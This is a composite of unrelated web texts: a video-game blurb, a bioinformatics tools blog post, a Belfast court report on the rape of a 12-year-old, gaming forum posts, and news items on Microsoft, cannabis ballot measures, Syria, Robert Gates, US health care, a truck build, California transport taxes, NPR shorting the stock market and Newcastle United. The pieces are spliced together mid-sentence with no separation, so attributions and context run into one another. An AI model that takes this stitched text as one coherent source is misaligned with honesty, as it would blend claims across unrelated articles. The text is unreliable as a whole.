"เดอะลอร์ดออฟเดอะริงส์: แบทเทิลฟอร์มิดเดิลเอิร์ธ" -- Thai spelling
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Command the heroes and armies of Middle-Earth in an RTS strategy game that crosses the bounds between the gameplay media and Hollywood film studios.You get to decide the destiny of Middle-Earth and take control of either the Good side or the Evil side as the forces of Gondor, Rohan, Isengard or Mordor.Cast spells and mobilize hundreds of units as you vie to take control of the One Ring.The game takes an old-school, Command and Conquer approach to J.R.R. Tolkien's acclaimed universe, with one important twist: there is no real interface to speak of: structures can only be built on predefined sites and, like the units, they are ordered through a circular context-sensitive command menu that ensures that you get pulled into the action.Also, the license of the game is taken from the movies, allowing it to have the voices, likeness and even clips from the Hollywood production extravaganza.
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Computer Gaming World March 2005 (Issue #249) – Best Use of a License of the Year
The Lord of the Rings: The Battle for Middle-earth (Windows) on Dec 12, 2004 PhoenixFire (108) added(Windows) on Dec 12, 2004compBiomeBlog, and kindly contributed to (This article was first published on, and kindly contributed to R-bloggers)
I recently read Ewan Birney’s blog post, which I found echoed a lot of my own thoughts about the use of statistical in computational biology. I thought I would compile my own similar list but for bioinformatics / computational biology in general. I have not been and in the field as long as Ewan and I certainly still have a lot to learn, particularly about statistics due to my biological background, but I have learnt some things over the last ten years, that like Ewan, I wish someone had told me long ago. The points are in no particular order.
A little introduction:
My first degree was in Genetics, which was very molecular with very little statistics, apart from an impenetrable module taught by the maths department, who could barely contain their distain for biologists. It was only when I started my Ph.D. in the evolution of regulatory sequences that I started to get more interested in bioinformatics and statistics. A lot of my research was into the population genetics of regulatory sequences looking at within and between species variation. I decided that I wanted to simulate some evolutionary processes to test some hypotheses. Luckily someone suggested that I learn Perl. So I did. Which brings me to point one.
1) Learn a scripting language.
I really don’t think it matters which one and I will not get in the to pros and cons here. A scripting language such as Perl or Python will serve you well in numerous tasks that would take hours or even be impossible with pointing and clicking in Excel or dragging and dropping files around. It probably wasn’t the best choice for writing simulations, but it worked and it was easy to learn. Within a week or two of sitting down with the Llama book then the Camel book (The standard books from O’Reilly) I could write code to do what I wanted. Looking back it was hideous, ugly and inefficient code, but it worked and probably did the same as beautiful, elegant and efficient code would do, just slower. I had multiple versions of the scripts that did slightly different things, on different machines some with bugs fixed some not. I sometimes accidentally broke my code and spent hours trying to get it back how it was before. Which brings me onto point number two, version control.
2) Learn a Version Control system.
I got into version control quite late so I wish someone had impressed the value of it upon me earlier. Again, it doesn’t matter which one you use. I use subversion (SVN) and git but the finer points of each tools are well described elsewhere. It basically allows you to keep a history of your work and revert to any previous version. You can also branch a project, so maybe you need to make some major changes for a certain task. You could copy your script with a new name and constantly forget which version has had bugs fixed and which have not, or you could create a branch in subversion and merge in any bug fixes. The other benefits are that, if you use a remote server, it also acts as a backup and allows you to work on the same script on multiple machines, say at work and at home. The learning curve is minimal, perhaps an hour to learn the basics and a week of regular use to commit the commands to memory and have it as part of your routine. You can use also Dropbox as an easy version control system, but it doesn’t have the features of a real version control system.
3) Learn R.
I initially started to learn R as I was drawn by it’s plotting functions. I was using Excel or some other tools to generate images and was frustrated by all the clicking and messing about to get a plot that looked like crap anyway, never mind when the data set changed or was expanded and I had to start again. To begin with I was doing analysis in Perl, outputting to text files which I would process in Excel, save to csv then load in to R for plotting. Slowly I got used to R and it began to take over more and more of the things I had done in Excel, then more and more of the things I had done in Perl. Now I live in R. It would never tell anyone R is easy, it is not. It is a pain and even now catches me out occasionally with some of it’s idiosyncrasies. Still, I love R. Once you get into it’s way of thinking it is fast elegant and so empowering. I wish someone had told me long ago to make some time for it and learn R, I never make a figure in anything else, which brings me on to point four.
4) You can’t beat a good figure.
A lot of bioinformatics is about finding patterns, separating the signal from the noise. Our brains are pretty good at this, too good really as we can often see things that are not really there, like the face of Jesus on a piece of toast. However, on the whole our eyes are far better at finding patterns than any number of fancy algorithms. The key to this is visualization. In a recent post by Jan Aerts, he says “statistics is about proving what you expect, while visualization is about discovering what you didn’t expect”. I completely agree with this, visualization for me is about exploring data, looking for patterns to suggest the next analysis. They key tool for visualization for me is R and particularly the ggplot2 package, which provides a very flexible and intuitive way of interacting with data. But the central piece of advise should be obvious, look at your data, only then will you see things that you were not expecting to find. The other benefit of good visualization is in communicating your ideas and discoveries with others, something which is also aided by the next point.
5) Learn LaTeX (and Sweave).
This point is probably more controversial, as lots of people get a long fine without LaTeX. I started to learn LaTeX as part of learning Sweave, which is combination of R and LaTeX. Sweave enables you to combine code, documentation, analysis and visualizations in one place. The power of this is in reproducible research, which enable someone else (or a future you) to repeat exactly what you did and get the same results. I also find the ability to concentrate on content and to be able to write documents and presentations on any machine, with nothing more than a text editor, very liberating. I now make all my presentations in beamer (the LaTeX equivalent of Powerpoint) and use LaTeX for most documents, even if not using Sweave. I wish someone had told me about LaTeX while I was writing up my Ph.D. as it would have made my life so much easier and my Ph.D. much prettier too. Because LaTeX is text based is also works very well with version control systems and Dropbox. I can be editing a document at work, go home, then open my laptop and continue editing from where I was up to. It is essentially a language of its own so it does take a while to get used to and be able to write without constantly referring to a tutorial. There are some great editors available, my favorite being TeXShop on Mac though I mainly use Emacs now, though that is a topic for another post.
6) Know enough statistics to know what you do not know.
Statistics can seem a complicated business, but it isn’t a black box of voodoo magic. Most of the statistics methods I use are to determine how likely some feature of my data could be just due to chance, or to see if two things really are different, or if there is a good chance they are actually just two different samples from the same source. In my humble experience you can normally get a feel for the significance of data from some visualizations and statistics are a way of formalizing those observations. For many genomics problems a simple permutation test can be very informative. You just need to think about your data and the questions you want to ask. I use binomial and hypergeometric tests quite a lot, along with Kolmogorov–Smirnov and the occasional linear model. I think it is really important to have a good understanding about probability, distributions and variance and to understand about the assumptions about various tests, such as normality. But importantly I talk to statisticians as much as I can and know the limits of my little tool box of tests. It is far to early to get carried away by a Google search and R and end up with something that looks fancy, but that you don’t understand and could well be invalid for your data. It is even easier to get the tails on your tests wrong and get a false positive/negative result. So learn as much as you can about statistics by reading and using it, but ask once you feel you are getting out of your depth. Finally If something doesn’t look significant when you plot it, it probably isn’t.
7) Learn to work at the command line.
This may well be the most important of the points here. It is certainly the ‘gateway’ skill. Almost all of the other points require you to be working at the command line ( in a terminal). This is often one of the most off putting things to people from non-computational backgrounds, and quite rightly. There is no help menu or indeed any menu to click around and look for things that look like what you what. You need to know what you are doing. But you can learn, and in a very short space of time you can become amazingly productive. There are loads of books and online tutorials available and it isn’t really that hard. cd to change directory, ls to list, mkdir to make a directory, cp to copy etc. Not exactly cryptic. Admittedly it gets more more complex as you get more productive, but for loops, grep, xargs etc are not too difficult really. If I could learn it anyone can. Once you have it opens up a whole world of working.
I hope this post made some sense, it was useful for me to think about some of the tools I use and to weigh up the time it takes to learn something new compared to the time it will save. I also found it interesting that the things here are not specific to bioinformatics. The field changes, technologies come and go but people will always need to know how to manipulate, visualize and analyse data.
RelatedConaire Adams-Whyte confessed at a sitting of Belfast Crown Court.
The 20-year-old from the Springfield Road area of west Belfast was freed on bail and is now living at a secret address after being threatened by dissident republicans.
He is also banned from having any contact with a second son who he fathered at the same time.
Adams-Whyte pleaded guilty at a court sitting last Wednesday.
His admission means new details can be reported about the way he took advantage of his schoolgirl victim.
The sex offender, who also uses the nickname 'Mitch', has a female relative who was good friends with the 12-year-old's mother.
The woman was supposed to be baby-sitting the child, but was not at home when she was dropped off at her house in July 2015. However, Whyte was inside the property and he raped the schoolgirl, who told her mother what happened afterwards.
The sex attacker was arrested and denied even touching his victim.
As part of their investigation detectives took DNA samples from him - something that would later prove crucial in determining his guilt.
Two months after her rape, the 12-year-old found out she was pregnant.
Adams-Whyte was arrested a second time, and once again denied any wrongdoing.
But when the baby was born earlier this year it was DNA tested and he was found to be the father.
He was immediately charged with rape and last Wednesday, a full 16 months after sexually assaulting the vulnerable schoolgirl, he finally admitted his guilt.
Not only will Adams-Whyte be prevented from having anything to do with the child he fathered, he is banned from seeing a second son he had with his ex-girlfriend just months earlier.
Adams-Whyte has also been told he is no longer welcome in west Belfast, and is understood to be under threat from dissident republicans.
One source told the Sunday Life: "Conaire will be risking his life if he comes back here, the community is outraged at his behaviour. Not only was his victim just 12 years old, she is also extremely vulnerable.
"That b*****d took advantage of that, raped her, got her pregnant, then denied being the father until DNA evidence proved otherwise."
Belfast TelegraphOf the new Ice-type Pokemon (or Pokemon with Ice-type movesets in the case of Miltoic), only Walrein stands out as being useful in the meta. However, this is only because it is unique compared to the others, and not because it’s better by leaps and bounds. Walrein has bulk like Lapras and is strong like Piloswine, but as seen on the chart above, it remains in the middle of the iceberg without pulling out far ahead.
While currently unreleased, Kyogre is worth mentioning now because it will be the Ice-type user you are looking for in Gen 3. With its massive stats (after the 9% nerf) and access to Dragon Tail and Blizzard, even without STAB it raises above the rest; players will want to save their stardust and rare candies for this behemoth. While Milotic has this same moveset, it’s severely lacking in the stats department and doesn’t rate as a Dragon-type counter.
You may noticed our new friend Delibird is missing from this graph. Unfortunately, Delibird’s performance was so poor that it was more reasonable to leave him off. While Dragon-types will certainly enjoy the presents, they aren’t enough to bribe them into submission.Perhaps it's a population cap issue? Maybe folks are already capped out?
I actually got a citizenship petition after my fort hit 200 population. I got a few, actually. My fort got up to 203 people in total. I believe there were 2 elven poets (from a traveling troupe of performers), and about 7 humans. All became CITIZENS. They would stop performing in the tavern, and immediately run off to pick up some wood outside, or start fishing (whatever their default labors were). However, you still can't assign them as performers, scholars, militia captains, burrows, or noble positions. I didn't get one to experience a strange mood, but in a 203 strong fort I wasn't going to get any one specific guy to mood anyway. Most of them got drafted into the military. I didn't need more haulers and couldn't use them as bards outside the horribly saturated main tavern.I can't remember if long-term residency petitions stopped at this time, but births did. However, I would still occasionally get citizenship offers over 200. I'm not sure if this is intended behavior or not, but probably is a bug. We don't get births and migrants over 200 outside of the monarch's retinue afterall. Oh, and I definitely didn't have a monarch. This was a 42.04 game with the exported wealth bug.As for the fort, it was about 6 years old and I think the first citizenship petition happened around the third or fourth year. It was definitely a long-term thing. I actually didn't get much in the way of visitors. I never had much more than 10 visitors at a time in my tavern, and I might have gotten 2-3 scholars totals in those 5-6 years. The dining hall was engraved and somewhat large (10x20?), and I had begun engraving the rest of my fort too. I noticed that different people would have different reasons for showing up. Like Human McScholar was "curious about my library." Or this one human dancer (who later inherited a noble title in my tavern, but wouldn't leave for YEARS) heard "this was the place to entertain people." Some of them showed up to worship at various temples- I had made an (engraved) temple to every deity on the list, so about 23 in total. I churned out instruments (had one made only of bone, and another of bone, wood, and silk that I could mass-produce without fuel/metal), but no one played with them in the temples that I saw ; /Microsoft has a four-fold plan to close Windows Phone’s infamous 'app-gap' problem. At its ongoing developer conference, Build 2015, the Redmond-based company announces that it is making it easier for developers to bring their apps to the Windows Phone platform.
The first way is to entice Web developers to wrap their sites into apps and release them on the Windows Store. The second -- arguably, the least exciting -- is to make Windows apps the traditional way -- using existing Win32,.NET WinForms and other Windows development technologies.
Which brings us to the most exciting -- and controversial -- parts. Microsoft is allowing Android and iOS developers to take their apps and port them to Windows. Called Project Islandwood, Microsoft is providing iOS developers with an Objective C tool and middleware layer to provide the operating system APIs that iOS apps need to run. The company says that developers will only have to put in a "few percent" of tweaks to get their iOS apps running on Windows 10 for phones.
Similarly for Android, the company is preloading an Android runtime layer to Windows 10 for phones which will enable them to run existing Android apps. Called Project Astoria, this puts even less work on developers' shoulders. All they need to do is publish their APK files to Windows Phone Store, and as long as it complies well with Astoria’s API, things should run fine, Microsoft says.
Things aren’t all sorted just yet. As Microsoft notes, Astoria doesn’t provide a complete set of APIs, so not every app -- I’m looking at you, Google Mobile Services -- will work well on the Windows 10 for phones-powered devices. We'll see that in coming months.
What do you think about this move? Do you think Microsoft is going bonkers with introducing support for Android apps to Windows platform? Do you think it is the right way to lure developers? Share your views in the comments section below!
Photo Credit: Slavoljub Pantelic/Shutterstockby Paul Armentano, NORML Deputy Director
Montana voters will decide this November on a statewide initiative to restore and expand elements of the state’s medical cannabis program.
The Secretary of State’s office has affirmed that initiative proponents, Montana Citizens for I-182, submitted sufficient signatures from registered voters to qualify the measure for the November ballot.
The Montana Medical Marijuana Act (I-182) amends the state’s existing law to expand the pool of patients eligible to access cannabis therapy and removes certain restrictions on recommending physicians and providers. The measure also establishes a regulatory scheme overseeing the testing and distribution of medical cannabis products.
Montana voters initially approved ballot initiative language in 2004 authorizing qualified patients to possess and grow medical marijuana. In 2011, lawmakers passed legislation significantly revising the law. This spring, members of the Montana Supreme Court upheld several of those amendments, including provisions that called for additional oversight for physicians who recommend cannabis therapy to more than 25 patients annually, and permitting law enforcement to engage in warrantless inspections of the premises of marijuana providers.
The full text of I-182 is available online here. A fact sheet about the measure is available here.
Voters this November will also decide on separate statewide medical use measures in Arkansas, Florida, and Missouri.
Initiatives to permit the adult use of cannabis are pending in Arizona, California, Maine, Massachusetts, and Nevada. A Michigan initiative remains in litigation.
Summaries and status of pending 2016 statewide initiatives is available from NORML’s Take Action Center here.Members of the Kurdish People's Protection Units (YPG) take position in Maarouf in Hasakeh province on July 16, 2015, as they battle Islamic State group jihadists (AFP Photo/Youssef Karwashan)
Beirut (AFP) - A coalition of US-backed Kurdish militia and rebel groups has launched its first operation against territory controlled by the Islamic State jihadist group in northeast Syria, a spokesman said Saturday.
The Syrian Democratic Forces (SDF) were formed in mid-October as an alliance between the powerful Kurdish People's Protection Units (YPG) and other Syrian rebel groups.
"This is the first step of the Syrian Democratic Forces," said Sherfan Darwish, spokesman for the Burkan al-Furat Arab rebel group, which is part of the SDF.
Speaking to AFP by phone from Syria, Darwish said the operation began on Friday night and would target IS-held areas in the northeast province of Hasakeh, including the towns of Shadadi and Al-Hol.
Darwish said the operation would receive air support from the US-led coalition striking IS in Syria since September 2014.
In a statement on its Facebook page the coalition later said that it had targeted IS tactical units and fighting posts outside Al-Hol on Friday.
In a video statement published online, the YPG confirmed the beginning of the operation "with all of the members of the SDF, and with support from and coordination with the international coalition, to liberate the southern parts of Hasakeh province".
Clashes on Saturday raged between the SDF and IS outside Al-Hol and Al-Ghazayleh, said Rami Abdel Rahman, head of the Syrian Observatory for Human Rights.
Both of those areas lie northeast of Hasakeh city in a thin slice of Syrian territory between the Turkish and Iraqi borders.
Abdel Rahman said the SDF were backed on Saturday by air strikes from the US-led air coalition.
Most of Hasakeh province is divided in control between Kurdish forces and IS jihadists, although regime forces are present in some provincial cities including the capital.
In June, IS seized several neighbourhoods in Hasakeh city but was expelled a month later after battles involving both regime troops and Kurdish fighters.
The SDF announcement came a day after the White House said it would send "fewer than 50" special forces personnel to Syria's north, reversing a long-standing refusal to put US boots on the ground.Robert Gates, a Republican stalwart and former US defence secretary who served under eight presidents, has derided the party’s election candidates for a grasp of national security issues that “would embarrass a middle schooler”.
An ex-CIA director who first joined the White House under Richard Nixon, Gates joked that if frontrunner Donald Trump wins the presidency, he would emigrate to Canada. He condemned the media for failing to challenge candidates from both parties on promises he believes are unaffordable, illegal or unconstitutional.
“The level of dialogue on national security issues would embarrass a middle schooler,” Gates said of the Republican contenders at a Politico Playbook event in Washington on Monday. “People are out there making threats and promises that are totally unrealistic, totally unattainable. Either they really believe what they’re saying or they’re cynical and opportunistic and, in a way, you hope it’s the latter, because God forbid they actually believe some of the things that they’re saying.”
Gates is among Republican elders dismayed by the way this year’s campaign is unfolding, with establishment figures such as Jeb Bush, whose father he served as director of central intelligence, failing to gain traction against mavericks with unusual prescriptions for keeping America safe.
Trump suggested “closing parts of the internet” to prevent Islamic State attracting recruits, Ted Cruz pledged to “carpet bomb them into oblivion”, Chris Christie proposed flying Air Force One over disputed Chinese islands and Carly Fiorina boasted of having had “a private meeting” with Russian leader Vladimir Putin when in fact they met in a green room at a conference.
Gates, promoting a new book, A Passion for Leadership, said: “One of the greatest, most appealing aspects of Ronald Reagan was his optimism about this country and about the future, and these guys all make it sound like we’re going down the drain.” All the candidates, he argued, should “try to communicate better to the American people that these are complicated, difficult problems that are going to be difficult to solve and are probably going to require some sacrifice”.
The 72-year-old declined to comment on specific candidates but was pressed by interviewer Mike Allen on the prospect of Trump reaching the White House. After a pause, he replied: “Well, I live about 50 miles from Canada.”
As the audience erupted in laughter, Gates continued philosophically: “I’ve been around a long time. There are a lot of people who have run for president where people have said, ‘Oh my God, if he’s elected, it’s the end of the world!’ And the truth of the matter is, it wasn’t, and so I’m not prepared to be overly dramatic and believe me, the comment I just made was very sarcastic and humorous, not meant seriously. Somebody out there will write a story that I’m going to Canada. It’s totally not true; I intend to remain within the United States.”
Gates was the only defence secretary in American history to be asked to remain in that office by a newly elected president. Working under Barack Obama, he was alongside Hillary Clinton when she was secretary of state and praised her as “tough minded” with “a lot of common sense” but admitted they began to disagree on issues towards the end, notably the intervention in Libya.
He did not mention Bernie Sanders by name but did suggest both Democratic and Republican candidates are being given an easy ride by the media. “Frankly, I think that the press needs to be more aggressive,” he said. “A lot of people in both parties are making huge promises and commitments.
“In some cases, the things they’re saying they’re going to do are unconstitutional or merely against the law and others are, from a budgetary standpoint, inconceivable, and so it seems to be that the press has not hammered hard enough and been relentless in saying, ‘How the hell are you going to do that?’”
Gates condemned National Security Agency whistleblower Edward Snowden as a traitor, called on tech companies to put security ahead of business interests and cooperate with intelligence agencies on encrypted data, and repeated his past description of Putin as a “stone-cold killer”, which, in the light of the Alexander Litvinenko inquiry, “the British now seem to reaffirm”.
Facebook Twitter Pinterest Barack Obama and Robert Gates attend a ceremony at the Pentagon Memorial in Arlington, Virginia, in 2010. Photograph: Washington Post/Getty Images
The intelligence veteran of nearly 27 years also spoke about the danger of leaks and recalled the 2011 raid in Pakistan that killed terrorist Osama bin Laden. A friend later emailed him a Photoshopped version of the famous picture in the situation room with the occupants wearing superhero costumes: Obama as Superman, Joe Biden as Spider-Man, Clinton as Wonder Woman and Gates himself as the Green Lantern.
“And we all had a good laugh, and then I said, ‘Mr President, this is the reason the photographs of the dead Bin Laden must never be released, because somebody will Photoshop them and it will anger every Muslim in the world, even those that hated Bin Laden, because of being disrespectful of the dead, and it will create greater risk for our troops in Iraq and Afghanistan and for all Americans, especially in the Middle East.’ And to the best of my knowledge, those photographs are the only things about that raid that have never leaked.”
He added: “The Defense Department wrote the book on leaking. They know how to do this. But the Defense Department leaks about policy and budget and weapons programmes and stuff like that. They do not leak about military operations because they know lives are at stake. So the leaks about the Bin Laden raid for the first couple of weeks came from the White House and CIA, and I just thought that was a disgrace.”The nature of transition, how change works its way through a system, how people acclimate to the new—all these questions. So much of the change is driven by technologies that are elusive if not altogether invisible in their operation. Signals, data, networks. New habits and reflexes. Watch older people as they try to retool; watch the ease with which kids who have nothing to unlearn go swimming forward. Study their movements, their aptitudes, their weaknesses. I wonder if any population in history has had a bigger gulf between its youngest and oldest members.
I ask my students about their reading habits, and though I’m not surprised to find that few read newspapers or print magazines, many check in with online news sources, aggregate sites, incessantly. They are seldom away from their screens for long, but that’s true of us, their parents, as well.
But how do we start to measure effects—of this and everything else? The outer look of things stays much the same, which is to say that the outer look of things has not caught up with the often intangible transformations. Newspapers are still sold and delivered; bookstores still pile their sale tables high. It is easy for the critic to be accused of alarmism. And yet …
Information comes to seem like an environment. If anything “important” happens anywhere, we will be informed. The effect of this is to pull the world in close. Nothing penetrates, or punctures. The real, which used to be defined by sensory immediacy, is redefined.
From the vantage point of hindsight, that which came before so often looks quaint, at least with respect to technology. Indeed, we have a hard time imagining that the users weren’t at some level aware of the absurdity of what they were doing. Movies bring this recognition to us fondly; they give us the evidence. The switchboard operators crisscrossing the wires into the right slots; Dad settling into his luxury automobile, all fins and chrome; Junior ringing the bell on his bike as he heads off on his paper route. The marvel is that all of them—all of us—concealed their embarrassment so well. The attitude of the present to the past … well, it depends on who is looking. The older you are, the more likely it is that your regard will be benign—indulgent, even nostalgic. Youth, by contrast, quickly gets derisive, preening itself on knowing better, oblivious to the fact that its toys will be found no less preposterous by the next wave of the young.
These notions came at me the other night while I was watching the opening scenes of Wim Wenders’s 1987 film Wings of Desire, which has as its premise the active presence of angels in our midst. The scene that triggered me was set in a vast and spacious modern library. The camera swooped with angelic freedom, up the wide staircases, panning vertically to |
who wants health care will be able to afford it, says Dan Holler, spokesman for Heritage Action. This is a conservative advocacy group that backs the hard-line Freedom Caucus in the House that wants the GOP plan to go even further. Mulvaney belonged to this group when he was a congressman just last year. Both Speaker Ryan and Mulvaney back some government help – in the form of tax credits – as part of that equation. Freedom Caucus members object to those tax credits, calling them a new entitlement.
Democratic minority leader Rep. Nancy Pelosi’s description of health care as a “right” and not a “privilege” avoids the fundamental question of whether the government can mandate coverage and decide what should be in policies – as it does in Obamacare, says Mr. Holler.
“The fundamental divide is what is the government’s role.”
In the very broadest sense, that’s true, but Heritage Action does not speak for all conservatives and neither are the White House nor Republicans in Congress speaking with one voice on GOP repeal and replace plans, notes Joseph Antos, a health policy expert at the conservative American Enterprise Institute think tank in Washington.
In an interview ahead of the CBO report, Mr. Antos says that millions of people without insurance as a result of the GOP plan will be politically devastating for Republicans. They will “take an unbelievable amount of grief which will be very difficult to deal with in the next election.” There will also be “negative consequences” for people who may have benefited from Obamacare coverage but who would lose it under the GOP plan.
Antos is particularly concerned that the Republican plan would give poor Americans tax credits to purchase insurance that are much lower than the federal subsidies provided to consumers under Obamacare.
“Sick people spend a lot of money on health care and they need help with it," Antos says. "I don’t think it’s any harder than that.”
In addition to decreasing the federal deficit, there was some more good news for Republicans in the CBO assessment: Markets would be generally stable under this change, and average premiums would increase until 2020 and then decrease — though older Americans would pay "substantially" more.
The selling of the GOP’s American Health Care Act is complicated by the fact that it is only the first stage of a three-pronged strategy designed to reduce costs – without any detailed spelling out of the other two stages or guarantee that they will work.
Ryan points to the other phases of repeal-and-replace: rules changes by Tom Price, Trump's new secretary of Health and Human Services, and then separate legislation that will need to pass a 60-vote bipartisan threshold in the Senate.
Ryan likes to cite the 1,442 items in Obamacare that are subject to action by the health secretary – actions that Ryan said can “dramatically lower the price of health insurance.” Experts give as an example the possible redefinition of maternity coverage.
Ryan told reporters last week, however, that Secretary Price “can’t tell you what he’s thinking about doing” because of “legal reasons.”
The speaker was a bit less cryptic about the GOP’s legislative ideas, including a bill to allow health insurance competition across state lines – like auto insurance – and a bill to allow associations, such as farmers’ groups, to purchase health insurance.
Still, it is far from certain that Senate Democrats would help Republicans in their repeal-and-replace effort by passing such bills.
Without the two other pieces in place, “this bill can’t stand on its own,” says Antos. “It doesn’t fully add up.”
Republicans may try to differentiate between “universal access” to health care, as Ryan puts it, and the “universal coverage” of the Democratic vision. But that distinction will be meaningless to Americans if millions of people are deprived of coverage under a GOP plan.
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“What is the purpose of health reform? Most Americans agree that expanding is the purpose and that the number who are uninsured or without coverage should not rise because of repeal,” writes Lawrence Jacobs, a political science professor and health-care policy expert at the University of Minnesota in Minneapolis, in an email.
“President Trump promised that everyone would continue to be covered.”How do you get one? Well, get an outgoin Toyota Tundra model to Devolro and they will man it up “a bit”. Their US shop is located in Miami and their current target is to create ballsy trucks for those who want to express their nonconventional spirit - in black and chrome, of course.No really, the Devolro Tundra has been named Diablo for a reason - it looks like Satan’s car that crawled its way from the depths of hell and it might turn you into a sinner just to get it. If you’re afraid of darkness, run away as fast as you can, because black-everything is what you get with this monster.Yep, the whole body, flared riveted fenders, bumpers, side steps, bull-bar, mirror casings, roof railings, headlight casings and even the huge rims are all painted in black. The only shiny things you’ll find on it are the rivets, the extra off-roading light rack, some towing hooks, the antenna and a lot of extra other rivets on the grille.It simply looks like a hellhound with face piercings and for sheer grunt, the 5-liter Toyota V8 can be fitted with a supercharger to boast 520 bhp, which can be fed by a custom 187 liters fuel tank for extended range.Nothing will stand in front of the Diablo’s 7-inch lifted suspension matched by those 37-inch offroad wheels. In fact, everything will freeze only by looking at its mean front fascia.However, while people will run off scared when this thing approaches, passengers will actually enjoy the comfort and luxury brought by the custom leather upholstery, a Harman/Kardon sound system, comprehensive infotainment system, added storing spaces for convenience, privacy glass and anything else you can think off, because Devolro is enabling you to choose what to have inside.And the Diablo is only the beginning, as models like Warrior, Challenger and Expedition will soon arrive on the shelf. So, if you were searching for the perfect apocalypse truck, look no further than this.Democrats hold two-thirds majorities in the Senate and Assembly, and they needed nearly every one of those votes to get the measure through. The measure squeaked by on a 27-11 vote in the Senate and 54 to 26 vote in the Assembly.
In a test of his political clout, Brown campaigned hard for the measure, holding rallies and meeting with moderate Democrats who were skeptical of the plan. He convinced all but two Democratic legislators -- Sen. Steve Glazer of Orinda and Assemblyman Rudy Salas of Bakersfield -- to go along.
Glazer said in a statement his constituents were overwhelmingly against the bill. His vote came after he failed to gain support for a provision that would ban strikes by BART's unionized workforce.
In the end, it was good old-fashioned politics that may have gotten the job done: Brown and Legislative leaders agreed to add more than $800 million in pet projects to a budget trailer bill to get the transportation package over the finish line.
The money — added to the budget trailer bill because it was too late to amend the transportation measure — would send $420 million to four Riverside County road projects, $6.3 million to a Stockton bridge-widening project, and $400 million to extend the commuter rail line, the Altamont Corridor Express, to Ceres and Merced. That train now runs from San Jose to Stockton.
The money for the Altamont Corridor Express was apparently enough to get Republican Sen. Anthony Canella, of Ceres, on board, and ensure that moderate Democratic Assemblyman Adam Grey of Modesto would vote for the bill.
"I mean, I would have loved to have done something different," Cannella said of raising fees and taxes to pay for the plan. "But when I'm able to deliver $400 million for ACE train, $100 million for Campus Parkway to help UC Merced... it's probably the biggest thing that's ever happened in my district as far as investment. I feel good about that."
Cannella was the only Republican in the Legislature to vote for the bill.
The Riverside County money seemed to also convince Democrats Richard Roth in the Senate and Sabrina Cervantes in the Assembly to support the package.
The majority of Republicans, who say they were largely left out of negotiations, decried the tax increases used to pay for the measure, which includes a 12 cent per gallon increase to the gas tax. Sen. Jeff Stone, of Temecula, said the increase will have the biggest impact on those who can least afford it.
“I have senior citizens that have to choose between drugs and gasoline or food in a state where one in four children go to bed hungry every single night,” Stone said.
GOP lawmakers argued that the state is already bringing in enough revenue to pay for highway and infrastructure upgrades and should pay for projects out of the state's general fund. Democrats have said tapping the general fund would require cuts in other areas, such as education and social services.
The cost of providing emergency fixes to the state highway system has been on an upward trend for the last few years. And this winter's storms have inflicted an estimated $866 million in damage on roads and highways throughout the state -- the highest total in decades.
Lawmakers also voted to place a constitutional amendment on the ballot that supporters say will restrict the new tax revenue to transportation spending. That measure must go before voters in 2018.We Shorted America!
Enlarge this image toggle caption Quoctrung Bui Quoctrung Bui
A lot of people buy stocks, hoping they will go up in value. But it is possible to bet in the opposite direction. You can bet against a stock, hoping it will plunge. It's called "shorting" a stock.
Most people don't short stocks, and we wondered why. So we decided to short something ourselves.
We had no idea what to short, or how to do it. So we asked the well-known short seller Andrew Left of Citron Research for advice. He interrupted me before I could finish explaining our plan.
"Don't do it," he said.
It turns out that shorting is not just the opposite of buying a stock. Left rattled off three reasons why we should give up.
"You could lose an infinite amount of money." If you buy a stock for $10, the most you can lose is $10. A stock can't go any lower than zero. But if you short a stock, you can lose a lot more. A $10 stock can shoot up to $50, or $100, or $200. The more it goes up, the more you lose. "The forces of Wall Street are against you." Over time the stock market tends to go up, not down. By shorting something you are swimming against the current. People will hate you. Betting that a company's stock will drop can make you unpopular. Left says he has been sued four times. Once, he says, the CEO of a small company got really really mad and sent some guys to sit outside his house in a black truck.
That last one in particular was a problem for us. We're journalists. We can't take sides. We can't bet against a particular company. If there were a section on shorting in the NPR ethics guidelines I'm pretty sure it would say what Andrew Left said: "Don't do it."
We came up with a solution that seemed fair, and fun. Instead of shorting one company, we could short every company. We could short the entire stock market. We could short America!
We ran the idea by another well-known short seller, Sahm Adrangi, who runs a hedge fund called Kerrisdale Capital.
"That's a terrible idea," he said. "It's a great way to lose lots of money."
The U.S. stock market has a long long history of going up over time. And a lot of U.S. companies these days are really global multinational companies. So, he explained, we'd be shorting not just America but the entire planet.
Adrangi did have a name for what we were proposing. He called it "The Armageddon Trade."
Which kind of sealed it for me. I liked the ridiculousness of betting against America, and the entire planet.
Our previous two investments — in a toxic asset and a gold coin — both lost money. So why not?
I called a broker at E-Trade and told him we wanted to short the stock market. It was remarkably easy to do. We used $400 of our own, personal money; in the unlikely event we make a profit, we're going to give it to charity.
(Side note for finance nerds: We shorted SPY, the exchange-traded fund that tracks the S&P 500. That's not the whole stock market, but it's close.)
America, your bad news is now our good news. We'll let you know how it goes. We'll be using our @planetmoney Twitter account to tweet how we're doing every day. #sorryamericaSteve McClaren discussed players at Newcastle and transfer target Charlie Austin on BBC Radio Newcastle
Newcastle United head coach Steve McClaren has told managing director Lee Charnley they must keep Moussa Sissoko.
In a wide-ranging phone-in with BBC Newcastle, McClaren also revealed Fabricio Coloccini "wants to stay" to captain the side.
Coloccini is linked with Crystal Palace and Sissoko is a reported target for Liverpool and Manchester City.
"We cannot lose Moussa, I know there's a lot of interest but he's under contract," said McClaren, 54.
"On my first day he walked into my office, a specimen of a man. An absolute presence and a great manner. Very professional and low maintenance.
"I've said to Lee Charnley, 'wow, we've got to keep this guy'. I want to build a team around him."
Midfielder Sissoko, 25, joined the Magpies from Toulouse in 2013, signing a six-and-a-half year deal, and was on the scoresheet as the Magpies defeated West Ham on the last day of last season to secure their top-flight status.
Coloccini, 33, has spent seven years with the Magpies- with four of them as captain - but the Magpies boss reckons he has been "distracted" by links with a move to join former boss Alan Pardew at Selhurst Park.
"He wants to stay here so I am delighted," added the former England manager. "Do I need to change the captain? Why do I need to unsettle everything - he carries on."
Taking calls from Newcastle's suburbs to North Carolina, McClaren added that the club have not made any bid for Queens Park Rangers striker Charlie Austin.
Steve McClaren took calls from Newcastle fans for an hour on BBC Radio Newcastle
'Owner wants background role'
McClaren's appointment in June arrived after Newcastle had endured a wretched end to the season - with their victory over the Hammers their only win in the last 11 games of the campaign.
The chaotic spell at the club saw owner Mike Ashley give a rare television interview, answering criticism from fans by stating he would not sell the club until it won a trophy or qualified for the Champions League.
